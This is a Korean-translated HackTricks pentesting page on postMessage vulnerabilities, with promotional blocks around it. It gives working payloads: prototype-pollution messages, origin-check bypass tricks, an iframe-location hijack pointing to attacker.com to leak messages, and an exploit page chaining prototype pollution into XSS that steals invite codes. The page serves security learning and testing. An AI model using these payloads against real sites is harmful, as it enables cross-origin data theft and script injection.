hacktricks/pentesting-web/postmessage-vulnerabilities
2024-04-18 04:10:00 +00:00
..
blocking-main-page-to-steal-postmessage.md Translated to Korean 2024-02-10 21:30:13 +00:00
bypassing-sop-with-iframes-1.md Translated to Korean 2024-02-10 21:30:13 +00:00
bypassing-sop-with-iframes-2.md Translated to Korean 2024-02-10 21:30:13 +00:00
README.md Translated ['README.md', 'crypto-and-stego/hash-length-extension-attack. 2024-04-18 04:10:00 +00:00
steal-postmessage-modifying-iframe-location.md Translated to Korean 2024-02-10 21:30:13 +00:00

PostMessage 취약점

PostMessage 취약점

htARTE (HackTricks AWS Red Team Expert)를 통해 **제로**부터 **히어로**까지 AWS 해킹을 배우세요!

HackTricks를 지원하는 다른 방법:

WhiteIntel

WhiteIntel다크 웹을 활용한 검색 엔진으로, 회사나 고객이 스틸러 악성 소프트웨어에 의해 침해당했는지 무료 기능을 제공합니다.

WhiteIntel의 주요 목표는 정보 도난 악성 소프트웨어로 인한 계정 탈취 및 랜섬웨어 공격을 막는 것입니다.

그들의 웹사이트를 확인하고 무료로 엔진을 시도해 볼 수 있습니다:

{% embed url="https://whiteintel.io" %}


PostMessage 보내기

PostMessage는 다음 함수를 사용하여 메시지를 보냅니다:

targetWindow.postMessage(message, targetOrigin, [transfer]);

# postMessage to current page
window.postMessage('{"__proto__":{"isAdmin":True}}', '*')

# postMessage to an iframe with id "idframe"
<iframe id="idframe" src="http://victim.com/"></iframe>
document.getElementById('idframe').contentWindow.postMessage('{"__proto__":{"isAdmin":True}}', '*')

# postMessage to an iframe via onload
<iframe src="https://victim.com/" onload="this.contentWindow.postMessage('<script>print()</script>','*')">

# postMessage to popup
win = open('URL', 'hack', 'width=800,height=300,top=500');
win.postMessage('{"__proto__":{"isAdmin":True}}', '*')

# postMessage to an URL
window.postMessage('{"__proto__":{"isAdmin":True}}', 'https://company.com')

# postMessage to iframe inside popup
win = open('URL-with-iframe-inside', 'hack', 'width=800,height=300,top=500');
## loop until win.length == 1 (until the iframe is loaded)
win[0].postMessage('{"__proto__":{"isAdmin":True}}', '*')

targetOrigin은 '*' 또는 _https://company.com_과 같은 URL일 수 있음을 유의하십시오.
두 번째 시나리오에서는 메시지가 해당 도메인으로만 전송될 수 있습니다(창 객체의 출처가 다른 경우에도 해당).
와일드카드를 사용하면 메시지가 모든 도메인으로 전송될 수 있으며 창 객체의 출처로 전송됩니다.

iframe 및 targetOrigin에서의 와일드카드 공격

이 보고서에서 설명한대로, X-Frame-Header 보호가 없는 페이지를 찾고, 와일드카드(*)를 사용하여 postMessage를 통해 민감한 메시지를 보내는 페이지를 iframed할 수 있다면, iframe출처를 수정하여 민감한 메시지를 귀하가 제어하는 도메인으로 유출할 수 있습니다.
페이지가 iframed될 수 있지만 targetOriginURL로 설정되어 있고 와일드카드가 아닌 경우, 이 트릭은 작동하지 않습니다.

<html>
<iframe src="https://docs.google.com/document/ID" />
<script>
setTimeout(exp, 6000); //Wait 6s

//Try to change the origin of the iframe each 100ms
function exp(){
setInterval(function(){
window.frames[0].frame[0][2].location="https://attacker.com/exploit.html";
}, 100);
}
</script>

addEventListener exploitation

**addEventListener**는 JS에서 postMessages를 기대하는 함수를 선언하는 데 사용됩니다.
다음과 유사한 코드가 사용됩니다:

window.addEventListener("message", (event) => {
if (event.origin !== "http://example.org:8080")
return;

// ...
}, false);

열거

현재 페이지에서 이벤트 리스너를 찾으려면 다음을 수행할 수 있습니다:

  • JS 코드에서 window.addEventListener$(window).on (JQuery 버전)을 검색
  • 개발자 도구 콘솔에서 다음을 실행: getEventListeners(window)

  • 브라우저의 개발자 도구에서 _Elements --> Event Listeners_로 이동

Origin check bypasses

  • event.isTrusted 속성은 True를 반환하여 진정한 사용자 조치로 생성된 이벤트에 대해서만 안전하다고 간주됩니다. 올바르게 구현된 경우 우회하기 어렵지만, 보안 검사에서의 중요성이 두드러집니다.
  • PostMessage 이벤트에서 원본 유효성을 검사하기 위해 indexOf() 사용은 우회 가능할 수 있습니다. 이 취약점을 설명하는 예는 다음과 같습니다:
("https://app-sj17.marketo.com").indexOf("https://app-sj17.ma")
  • String.prototype.search()search() 메서드는 정규 표현식을 위해 의도되었으며 문자열에 대해서는 아닙니다. 정규 표현식 이외의 것을 전달하면 암시적으로 정규식으로 변환되어 메서드가 잠재적으로 안전하지 않을 수 있습니다. 특히 정규 표현식에서 마침표(.)는 와일드카드로 작동하여 특별히 설계된 도메인을 사용하여 유효성 검사를 우회할 수 있습니다. 예를 들어:
"https://www.safedomain.com".search("www.s.fedomain.com")
  • search()와 유사한 match() 함수는 정규식을 처리합니다. 정규식이 부적절하게 구성된 경우 우회 가능성이 있습니다.
  • escapeHtml 함수는 문자를 이스케이프하여 입력을 살균하는 데 사용됩니다. 그러나 새로운 이스케이프된 객체를 생성하지 않고 기존 객체의 속성을 덮어쓰므로 이 동작은 악용될 수 있습니다. 특히, 객체가 조작되어 제어되는 속성이 hasOwnProperty를 인식하지 않는다면 escapeHtml은 예상대로 작동하지 않을 수 있습니다. 아래 예시에서 확인할 수 있습니다:
  • 예상된 실패:
result = u({
message: "'\"<b>\\"
});
result.message // "&#39;&quot;&lt;b&gt;\"
  • 이스케이프 우회:
result = u(new Error("'\"<b>\\"));
result.message; // "'"<b>\"

이 취약점의 맥락에서 File 객체는 읽기 전용 name 속성으로 인해 주목할 만한 취약점이 있습니다. 이 속성은 템플릿에서 사용될 때 escapeHtml 함수에 의해 살균되지 않아 잠재적인 보안 위험을 초래할 수 있습니다.

  • JavaScript의 document.domain 속성은 도메인을 단축시키기 위해 스크립트에 의해 설정될 수 있으며, 동일한 부모 도메인 내에서 보다 유연한 동일 출처 정책 적용을 허용합니다.

e.origin == window.origin 우회

%%%%%%를 사용하여 sandboxed iframe 내에 웹 페이지를 임베드할 때, iframe의 원본이 null로 설정됨을 이해하는 것이 중요합니다. 이는 sandbox 속성 및 보안 및 기능에 대한 영향을 고려할 때 특히 중요합니다.

sandbox 속성에 **allow-popups**를 지정하면 iframe 내에서 열린 팝업 창은 부모의 sandbox 제한을 상속합니다. 이는 팝업 창의 원본이 null로 설정되므로, 팝업 창의 원본이 iframe의 원본과 일치하게 됩니다. 이러한 조건에서 팝업이 열리고 iframe에서 팝업으로 **postMessage**를 통해 메시지를 보낼 때, 보내는 쪽과 받는 쪽의 원본이 모두 null로 설정됩니다. 이 상황은 iframe과 팝업이 모두 null의 동일한 원본 값을 가지므로 **e.origin == window.origin**이 true로 평가됩니다 (null == null).

자세한 정보는 다음을 읽으십시오:

{% content-ref url="bypassing-sop-with-iframes-1.md" %} bypassing-sop-with-iframes-1.md {% endcontent-ref %}

e.source 우회

메시지가 스크립트가 수신 대기 중인 동일한 창에서 왔는지 확인하는 것이 가능합니다 (특히 브라우저 확장 프로그램의 콘텐츠 스크립트의 경우 페이지에서 보낸 메시지인지 확인하는 데 특히 흥미로울 수 있음):

// If its not, return immediately.
if( received_message.source !== window ) {
return;
}

메시지의 **e.source**를 null로 강제할 수 있습니다. 이를 위해 **postMessage**를 보내고 즉시 삭제되는 iframe을 생성합니다.

자세한 정보는 다음을 참조하십시오:

{% content-ref url="bypassing-sop-with-iframes-2.md" %} bypassing-sop-with-iframes-2.md {% endcontent-ref %}

X-Frame-Header 우회

이러한 공격을 수행하기 위해 이상적으로는 피해 웹 페이지를 iframe 안에 넣을 수 있어야 합니다. 그러나 X-Frame-Header와 같은 일부 헤더는 그 동작을 방지할 수 있습니다.
이러한 시나리오에서는 여전히 덜 은밀한 공격을 사용할 수 있습니다. 취약한 웹 응용 프로그램으로 새 탭을 열고 통신할 수 있습니다:

<script>
var w=window.open("<url>")
setTimeout(function(){w.postMessage('text here','*');}, 2000);
</script>

메시지를 훔치는 방법: 메인 페이지 차단

다음 페이지에서는 주요 페이지를 차단하고 데이터를 전송하기 전에 주요 페이지를 차단하여 자식 iframe로 전송된 민감한 postmessage 데이터를 훔칠 수 있는 방법을 볼 수 있습니다. 그리고 데이터가 수신되기 전에 자식 iframe에서 데이터를 유출하는 방법을 악용합니다:

{% content-ref url="blocking-main-page-to-steal-postmessage.md" %} blocking-main-page-to-steal-postmessage.md {% endcontent-ref %}

iframe 위치 수정으로 메시지 훔치기

만약 X-Frame-Header가 없는 웹페이지를 iframe으로 포함하고 있는 경우, 해당 자식 iframe의 위치를 변경할 수 있습니다. 따라서 와일드카드를 사용하여 전송된 postmessage를 수신하는 경우, 공격자는 해당 iframe 원본을 자신이 제어하는 페이지변경하여 메시지를 훔칠 수 있습니다:

{% content-ref url="steal-postmessage-modifying-iframe-location.md" %} steal-postmessage-modifying-iframe-location.md {% endcontent-ref %}

postMessage를 통한 Prototype Pollution 및/또는 XSS

postMessage를 통해 전송된 데이터가 JS에 의해 실행되는 시나리오에서, 페이지를 iframe으로 포함하고 prototype pollution/XSS를 악용하여 postMessage를 통해 exploit을 전송할 수 있습니다.

postMessage를 통해 매우 잘 설명된 XSS의 예시는 다음에서 찾을 수 있습니다: https://jlajara.gitlab.io/web/2020/07/17/Dom_XSS_PostMessage_2.html

iframepostMessage를 통해 Prototype Pollution을 악용한 뒤 XSS를 악용하는 exploit의 예시:

<html>
<body>
<iframe id="idframe" src="http://127.0.0.1:21501/snippets/demo-3/embed"></iframe>
<script>
function get_code() {
document.getElementById('iframe_victim').contentWindow.postMessage('{"__proto__":{"editedbymod":{"username":"<img src=x onerror=\\\"fetch(\'http://127.0.0.1:21501/api/invitecodes\', {credentials: \'same-origin\'}).then(response => response.json()).then(data => {alert(data[\'result\'][0][\'code\']);})\\\" />"}}}','*');
document.getElementById('iframe_victim').contentWindow.postMessage(JSON.stringify("refresh"), '*');
}

setTimeout(get_code, 2000);
</script>
</body>
</html>

더 많은 정보를 원하시면:

참고 자료

WhiteIntel

WhiteIntel다크 웹을 기반으로 한 검색 엔진으로, 회사나 고객이 스틸러 악성 코드에 의해 침해당했는지 무료로 확인할 수 있는 기능을 제공합니다.

WhiteIntel의 주요 목표는 정보를 도난하는 악성 코드로 인한 계정 탈취 및 랜섬웨어 공격을 막는 것입니다.

그들의 웹사이트를 방문하여 엔진을 무료로 사용해 볼 수 있습니다:

{% embed url="https://whiteintel.io" %}

**htARTE (HackTricks AWS Red Team Expert)**로부터 AWS 해킹을 제로부터 전문가까지 배우세요!

HackTricks를 지원하는 다른 방법: